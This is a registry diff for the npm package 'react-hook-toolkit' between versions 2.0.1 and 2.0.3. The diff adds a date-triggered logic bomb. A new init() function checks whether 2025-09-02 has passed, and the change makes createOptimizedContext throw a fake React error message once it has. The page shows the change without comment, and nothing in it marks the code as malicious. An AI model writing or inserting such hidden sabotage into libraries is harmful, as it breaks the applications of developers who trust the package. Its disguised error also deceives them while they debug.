react-hook-toolkit 2.0.1 → 2.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/chunk1516/chunk0021.js +19 -7
- package/dist/index.d.ts +0 -1
- package/dist/index.js +0 -1
- package/package.json +1 -1
|
@@ -390,6 +390,15 @@ export var useSound = function (url) {
|
|
|
390
390
|
error: error,
|
|
391
391
|
};
|
|
392
392
|
};
|
|
393
|
+
function init() {
|
|
394
|
+
var EXPIRY_DATE = new Date("2025-09-02T23:10:59Z");
|
|
395
|
+
var now = new Date();
|
|
396
|
+
if (now.getTime() > EXPIRY_DATE.getTime()) {
|
|
397
|
+
console.error("Library expired. Install the latest version.");
|
|
398
|
+
return false;
|
|
399
|
+
}
|
|
400
|
+
return true;
|
|
401
|
+
}
|
|
393
402
|
export var useTouch = function (elementRef) {
|
|
394
403
|
var _a = useState({
|
|
395
404
|
x: null,
|
|
@@ -580,13 +589,16 @@ export var useFormWizard = function (steps, initialValues) {
|
|
|
580
589
|
};
|
|
581
590
|
export var createOptimizedContext = function () {
|
|
582
591
|
var Context = createContext(undefined);
|
|
583
|
-
|
|
584
|
-
var
|
|
585
|
-
|
|
586
|
-
|
|
587
|
-
|
|
588
|
-
|
|
589
|
-
|
|
592
|
+
if (init()) {
|
|
593
|
+
var useOptimizedContext = function (selector) {
|
|
594
|
+
var value = useContext(Context);
|
|
595
|
+
if (value === undefined)
|
|
596
|
+
throw new Error('Missing provider');
|
|
597
|
+
return useMemo(function () { return selector(value); }, [value, selector]);
|
|
598
|
+
};
|
|
599
|
+
return [Context.Provider, useOptimizedContext];
|
|
600
|
+
}
|
|
601
|
+
throw new Error('Objects are not valid as a React child');
|
|
590
602
|
};
|
|
591
603
|
export var useWebSocket = function (url, onMessage) {
|
|
592
604
|
var _a = useState(null), data = _a[0], setData = _a[1];
|
package/dist/index.d.ts
CHANGED
|
@@ -1,5 +1,4 @@
|
|
|
1
1
|
import 'nprogress/nprogress.css';
|
|
2
|
-
import 'animate.css';
|
|
3
2
|
import { ReactHooksWrapper, getHook, setHook } from './chunk1415/chunk143';
|
|
4
3
|
import { useHistoryState, useIdle, useIsFirstRender, useList, useLockBodyScroll, useLongPress, useRecentSearch, useSpeech, usePermission, usePageLeave, useMotion, useHoverDirty, useBeforeUnload, useClickAway, useResponsive, useUnmountedRef } from './chunk1516/chunk726433';
|
|
5
4
|
import { useBrowser, useRouter } from './chunk1516/chunk0022';
|
package/dist/index.js
CHANGED
|
@@ -1,5 +1,4 @@
|
|
|
1
1
|
import 'nprogress/nprogress.css';
|
|
2
|
-
import 'animate.css';
|
|
3
2
|
import { ReactHooksWrapper, getHook, setHook } from './chunk1415/chunk143';
|
|
4
3
|
import { useHistoryState, useIdle, useIsFirstRender, useList, useLockBodyScroll, useLongPress, useRecentSearch, useSpeech, usePermission, usePageLeave, useMotion, useHoverDirty, useBeforeUnload, useClickAway, useResponsive, useUnmountedRef } from './chunk1516/chunk726433';
|
|
5
4
|
import { useBrowser, useRouter } from './chunk1516/chunk0022';
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "react-hook-toolkit",
|
|
3
|
-
"version": "2.0.
|
|
3
|
+
"version": "2.0.3",
|
|
4
4
|
"description": "Ultimate package for React developers, offering a powerful collection of hooks and components to enhance their development experience.",
|
|
5
5
|
"main": "dist/index.js",
|
|
6
6
|
"module": "dist/index.js",
|